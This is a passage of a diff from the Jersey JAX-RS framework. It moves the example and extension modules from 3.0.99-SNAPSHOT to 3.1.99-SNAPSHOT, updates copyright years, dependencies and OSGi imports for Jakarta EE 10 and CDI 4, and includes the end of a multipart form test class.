+        final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+        assertEquals("CONTENT", s);
+    }
+
+    @Test
+    public void testPartWithFileName() throws IOException {
+        final WebTarget target = target().path(PATH + "/form/part-file-name");
+
+        final EntityPart entityPart = EntityPart.withName("part").fileName("file").content("CONTENT", String.class).build();
+        final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart)) {};
+
+        final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+        assertEquals("CONTENT:file", s);
+    }
+
+    @Test
+    public void testXmlJAXBPart() throws IOException {
+        final WebTarget target = target().path(PATH + "/form/xml-jaxb-part");
+
+        final EntityPart entityPart1 = EntityPart.withName("bean").fileName("bean")
+                .content(new Bean("BEAN"), Bean.class)
+                .mediaType(MediaType.APPLICATION_XML_TYPE)
+                .build();
+        final EntityPart entityPart2 = EntityPart.withName("string").fileName("string")
+                .content("STRING", String.class)
+                .build();
+
+        final GenericEntity<List<EntityPart>> genericEntity = new GenericEntity<>(List.of(entityPart1, entityPart2)) {};
+
+        final String s = target.request().post(Entity.entity(genericEntity, MediaType.MULTIPART_FORM_DATA_TYPE), String.class);
+        assertEquals("STRING:string,BEAN:bean", s);
+    }
+}
diff --git a/examples/rx-client-webapp/pom.xml b/examples/rx-client-webapp/pom.xml
index 9fb7b2c..63a527d 100644
--- a/examples/rx-client-webapp/pom.xml
+++ b/examples/rx-client-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>rx-client-webapp</artifactId>
@@ -66,8 +66,8 @@
         <plugins>
             <!-- Run the application using "mvn jetty:run" -->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
             </plugin>
         </plugins>
     </build>
diff --git a/examples/server-async-managed/pom.xml b/examples/server-async-managed/pom.xml
index 633a692..bbb3103 100644
--- a/examples/server-async-managed/pom.xml
+++ b/examples/server-async-managed/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-managed</artifactId>
diff --git a/examples/server-async-standalone/client/pom.xml b/examples/server-async-standalone/client/pom.xml
index 7978e51..5996f3a 100644
--- a/examples/server-async-standalone/client/pom.xml
+++ b/examples/server-async-standalone/client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>server-async-standalone</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone-client</artifactId>
diff --git a/examples/server-async-standalone/pom.xml b/examples/server-async-standalone/pom.xml
index 8f8a4e8..f8c2a02 100644
--- a/examples/server-async-standalone/pom.xml
+++ b/examples/server-async-standalone/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone</artifactId>
diff --git a/examples/server-async-standalone/webapp/pom.xml b/examples/server-async-standalone/webapp/pom.xml
index 7e0e602..c3418fd 100644
--- a/examples/server-async-standalone/webapp/pom.xml
+++ b/examples/server-async-standalone/webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>server-async-standalone</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async-standalone-webapp</artifactId>
diff --git a/examples/server-async/pom.xml b/examples/server-async/pom.xml
index b7e53e4..00c18b2 100644
--- a/examples/server-async/pom.xml
+++ b/examples/server-async/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-async</artifactId>
diff --git a/examples/server-sent-events-jaxrs/pom.xml b/examples/server-sent-events-jaxrs/pom.xml
index 1308d80..0372d33 100644
--- a/examples/server-sent-events-jaxrs/pom.xml
+++ b/examples/server-sent-events-jaxrs/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-sent-events-jaxrs</artifactId>
diff --git a/examples/server-sent-events-jersey/pom.xml b/examples/server-sent-events-jersey/pom.xml
index 5f82dca..c465e97 100644
--- a/examples/server-sent-events-jersey/pom.xml
+++ b/examples/server-sent-events-jersey/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>server-sent-events-jersey</artifactId>
diff --git a/examples/servlet3-webapp/pom.xml b/examples/servlet3-webapp/pom.xml
index 1e2a7db..51b85c2 100644
--- a/examples/servlet3-webapp/pom.xml
+++ b/examples/servlet3-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>servlet3-webapp</artifactId>
@@ -37,7 +37,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
             <scope>provided</scope>
         </dependency>
 
@@ -62,8 +61,8 @@
 <!--                <artifactId>maven-failsafe-plugin</artifactId>-->
 <!--            </plugin>-->
             <plugin>
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
 <!--                    <skip>${skip.tests}</skip>-->
 <!--                    <stopWait>10</stopWait>-->
diff --git a/examples/simple-console/pom.xml b/examples/simple-console/pom.xml
index b1e17d4..49285d2 100644
--- a/examples/simple-console/pom.xml
+++ b/examples/simple-console/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>simple-console</artifactId>
diff --git a/examples/sse-item-store-jaxrs-webapp/pom.xml b/examples/sse-item-store-jaxrs-webapp/pom.xml
index 58c0837..7724a48 100644
--- a/examples/sse-item-store-jaxrs-webapp/pom.xml
+++ b/examples/sse-item-store-jaxrs-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2017, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2017, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-item-store-jaxrs-webapp</artifactId>
@@ -56,9 +56,8 @@
         <plugins>
             <!-- Run the application using "mvn jetty:run" -->
             <plugin>
-                <!-- TODO unify Jetty in all examples -->
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <stopWait>10</stopWait>
                     <stopPort>9999</stopPort>
diff --git a/examples/sse-item-store-jersey-webapp/pom.xml b/examples/sse-item-store-jersey-webapp/pom.xml
index 2bac026..0c5c1e9 100644
--- a/examples/sse-item-store-jersey-webapp/pom.xml
+++ b/examples/sse-item-store-jersey-webapp/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-item-store-jersey-webapp</artifactId>
@@ -56,9 +56,8 @@
         <plugins>
             <!-- Run the application using "mvn jetty:run" -->
             <plugin>
-                <!-- TODO unify Jetty in all examples -->
-                <groupId>org.eclipse.jetty</groupId>
-                <artifactId>jetty-maven-plugin</artifactId>
+                <groupId>org.eclipse.jetty.ee10</groupId>
+                <artifactId>jetty-ee10-maven-plugin</artifactId>
                 <configuration>
                     <stopWait>10</stopWait>
                     <stopPort>9999</stopPort>
diff --git a/examples/sse-twitter-aggregator/pom.xml b/examples/sse-twitter-aggregator/pom.xml
index 601d9d2..d22fcfc 100644
--- a/examples/sse-twitter-aggregator/pom.xml
+++ b/examples/sse-twitter-aggregator/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>sse-twitter-aggregator</artifactId>
diff --git a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
index a3e6788..ebde366 100644
--- a/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
+++ b/examples/sse-twitter-aggregator/src/main/java/org/glassfish/jersey/examples/aggregator/App.java
@@ -13,7 +13,7 @@
 import java.io.IOException;
 import java.io.InputStream;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.HashMap;
 import java.util.Properties;
 import java.util.logging.Level;
@@ -144,7 +144,7 @@
         InputStream st = null;
         try {
             String homeDir = System.getProperty("user.home");
-            st = Files.newInputStream(Paths.get(homeDir, TWITTER_PROPERTIES_FILE_NAME));
+            st = Files.newInputStream(Path.of(homeDir, TWITTER_PROPERTIES_FILE_NAME));
             properties.load(st);
         } catch (IOException e) {
             // ignore
@@ -230,7 +230,7 @@
             try {
                 fileStream = webRootPath == null
                         ? App.class.getResourceAsStream(WEB_ROOT + uri)
-                        : Files.newInputStream(Paths.get(webRootPath, uri));
+                        : Files.newInputStream(Path.of(webRootPath, uri));
             } catch (IOException e) {
                 fileStream = null;
             }
diff --git a/examples/system-properties-example/pom.xml b/examples/system-properties-example/pom.xml
index aa3d103..17fc7e9 100644
--- a/examples/system-properties-example/pom.xml
+++ b/examples/system-properties-example/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>system-properties-example</artifactId>
diff --git a/examples/webapp-example-parent/pom.xml b/examples/webapp-example-parent/pom.xml
index ebcde20..277b61d 100644
--- a/examples/webapp-example-parent/pom.xml
+++ b/examples/webapp-example-parent/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>webapp-example-parent</artifactId>
diff --git a/examples/xml-moxy/pom.xml b/examples/xml-moxy/pom.xml
index 2a27259..dcc65d9 100644
--- a/examples/xml-moxy/pom.xml
+++ b/examples/xml-moxy/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>xml-moxy</artifactId>
diff --git a/ext/bean-validation/pom.xml b/ext/bean-validation/pom.xml
index 743a933..b794e01 100644
--- a/ext/bean-validation/pom.xml
+++ b/ext/bean-validation/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
     Copyright (c) 2018, 2019 Payara Foundation and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
@@ -24,7 +24,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-bean-validation</artifactId>
@@ -59,6 +59,7 @@
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
                             jakarta.validation.*;resolution:=optional;version="${range;[==,4);${jakarta.validation.api.version}}",
+                            jakarta.decorator.*;version="[3.0,5)",
                             *
                         </Import-Package>
                     </instructions>
@@ -134,10 +135,15 @@
             <groupId>jakarta.el</groupId>
             <artifactId>jakarta.el-api</artifactId>
         </dependency>
-
         <dependency>
-            <groupId>org.glassfish</groupId>
-            <artifactId>jakarta.el</artifactId>
+            <groupId>org.glassfish.expressly</groupId>
+            <artifactId>expressly</artifactId>
+            <exclusions>
+                <exclusion>
+                    <groupId>jakarta.el</groupId>
+                    <artifactId>jakarta.el-api</artifactId>
+                </exclusion>
+            </exclusions>
         </dependency>
 
         <dependency>
@@ -147,17 +153,4 @@
             <scope>test</scope>
         </dependency>
     </dependencies>
-
-    <profiles>
-        <profile>
-            <id>jdk8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <jboss.logging.version>${jboss.logging.8.version}</jboss.logging.version>
-            </properties>
-        </profile>
-    </profiles>
-
-</project>
+</project>
\ No newline at end of file
diff --git a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
index 0e566a0..07e6ca5 100644
--- a/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
+++ b/ext/bean-validation/src/main/resources/META-INF/NOTICE.markdown
@@ -31,7 +31,7 @@
 
 ## Third-party Content
 
-Hibernate Validator CDI, 7.0.5.Final
+Hibernate Validator CDI, 8.0.1.Final
 * License: Apache License, 2.0
 * Project: https://beanvalidation.org/
-* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
\ No newline at end of file
+* Repackaged in org.glassfish.jersey.server.validation.internal.hibernate
diff --git a/ext/cdi/jersey-cdi-rs-inject/pom.xml b/ext/cdi/jersey-cdi-rs-inject/pom.xml
index 7fbd6c3..bcf7555 100644
--- a/ext/cdi/jersey-cdi-rs-inject/pom.xml
+++ b/ext/cdi/jersey-cdi-rs-inject/pom.xml
@@ -1,6 +1,6 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
-    Copyright (c) 2021, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2021, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -48,7 +48,7 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
+            <version>${servlet6.version}</version>
             <scope>provided</scope>
             <optional>true</optional>
         </dependency>
@@ -73,7 +73,7 @@
                     <instructions>
                         <Import-Package>
                             ${cdi.osgi.version},
-                            jakarta.servlet.*;version="[5.0, 7.0)";resolution:=optional,
+                            jakarta.servlet.*;version="[6.0, 7.0)";resolution:=optional,
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
index 7e22ff6..c28de3c 100644
--- a/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
+++ b/ext/cdi/jersey-cdi1x-ban-custom-hk2-binding/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-ban-custom-hk2-binding</artifactId>
diff --git a/ext/cdi/jersey-cdi1x-servlet/pom.xml b/ext/cdi/jersey-cdi1x-servlet/pom.xml
index 0301b3b..3d90bed 100644
--- a/ext/cdi/jersey-cdi1x-servlet/pom.xml
+++ b/ext/cdi/jersey-cdi1x-servlet/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-servlet</artifactId>
@@ -88,6 +88,7 @@
                         <Export-Package>org.glassfish.jersey.ext.cdi1x.servlet.internal</Export-Package>
                         <Import-Package>
                             ${cdi.osgi.version},
+                            jakarta.decorator.*;version="[3.0,5)",
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java b/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
index 3a17677..ce367f5 100644
--- a/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
+++ b/ext/cdi/jersey-cdi1x-servlet/src/main/java/org/glassfish/jersey/ext/cdi1x/servlet/internal/CdiExternalRequestScopeExtension.java
@@ -124,7 +124,7 @@
                 return false;
             }
 
-            @Override
+            // @Override - Removed in CDI 4
             public boolean isNullable() {
                 return false;
             }
diff --git a/ext/cdi/jersey-cdi1x-transaction/pom.xml b/ext/cdi/jersey-cdi1x-transaction/pom.xml
index fad4a61..e2fdcfc 100644
--- a/ext/cdi/jersey-cdi1x-transaction/pom.xml
+++ b/ext/cdi/jersey-cdi1x-transaction/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2014, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2014, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-transaction</artifactId>
@@ -37,7 +37,7 @@
         <dependency>
             <groupId>jakarta.platform</groupId>
             <artifactId>jakarta.jakartaee-api</artifactId>
-            <version>9.0.0</version>
+            <version>9.1.0</version>
             <scope>provided</scope>
         </dependency>
 
@@ -94,6 +94,7 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
+                            jakarta.decorator.*;version="[3.0,5)",
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-validation/pom.xml b/ext/cdi/jersey-cdi1x-validation/pom.xml
index 71f1bf3..a16850a 100644
--- a/ext/cdi/jersey-cdi1x-validation/pom.xml
+++ b/ext/cdi/jersey-cdi1x-validation/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x-validation</artifactId>
@@ -106,6 +106,7 @@
                         <Import-Package>
                             ${jakarta.annotation.osgi.version},
                             ${cdi.osgi.version},
+                            jakarta.decorator.*;version="[3.0,5)",
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java b/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
index 6cced30..875f63c 100644
--- a/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
+++ b/ext/cdi/jersey-cdi1x-validation/src/main/java/org/glassfish/jersey/ext/cdi1x/validation/internal/CdiInterceptorWrapperExtension.java
@@ -155,7 +155,7 @@
                 return false;
             }
 
-            @Override
+            // @Override - Removed in CDI 4
             public boolean isNullable() {
                 return false;
             }
diff --git a/ext/cdi/jersey-cdi1x/pom.xml b/ext/cdi/jersey-cdi1x/pom.xml
index 7ef1fbf..87077c2 100644
--- a/ext/cdi/jersey-cdi1x/pom.xml
+++ b/ext/cdi/jersey-cdi1x/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.ext.cdi</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-cdi1x</artifactId>
@@ -94,6 +94,7 @@
                             ${jakarta.annotation.osgi.version},
                             ${hk2.osgi.version},
                             ${cdi.osgi.version},
+                            jakarta.decorator.*;version="[3.0,5)",
                             *
                         </Import-Package>
                     </instructions>
diff --git a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
index 6376f93..a47aced 100644
--- a/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
+++ b/ext/cdi/jersey-cdi1x/src/main/java/org/glassfish/jersey/ext/cdi1x/internal/CdiComponentProvider.java
@@ -726,7 +726,7 @@
